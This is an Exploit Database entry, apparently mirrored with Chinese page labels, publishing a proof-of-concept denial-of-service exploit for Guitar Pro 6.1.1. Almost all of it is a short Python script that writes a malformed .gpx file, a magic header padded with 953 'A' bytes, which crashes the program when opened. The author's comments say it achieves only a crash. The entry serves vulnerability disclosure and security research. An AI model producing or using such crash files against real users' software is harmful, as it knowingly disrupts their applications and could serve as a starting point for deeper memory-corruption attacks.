Guitar Pro 6.1.1 r10791 – ‘.gpx’ Crash (PoC)

• Exploit Database
• 54 阅读

• 作者： condis
  日期： 2012-05-09
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18851/

• #!/usr/bin/python
  
  # ---------------------------------------------------------
  # Guitar Pro 6.1.1 r10791 (.gpx) Crash POC
  # found by condis
  # 
  # Date: 01 May 2012 AD
  # Tested on : Windows XP Professional SP3 PL
  #
  # Description :
  #
  # Each load of malformated file into the program ends up 
  # with crash, but place of crash and registers values 
  # differ every time o_O"
  #
  # In my opinion, this bug does not allow for anything else 
  # except getting to a DoS situation, therefore no further 
  # research was done.
  # ---------------------------------------------------------
  
  evil= "BCFZ\x04\x10\x01\x00"
  evil += "A" * 953
  
  file = open('ogonek_and_cooh_-_not_my_type.gpx', 'w')
  file.write(evil)
  file.close()
  
  print "Sex, drugs & drum'n'bass!"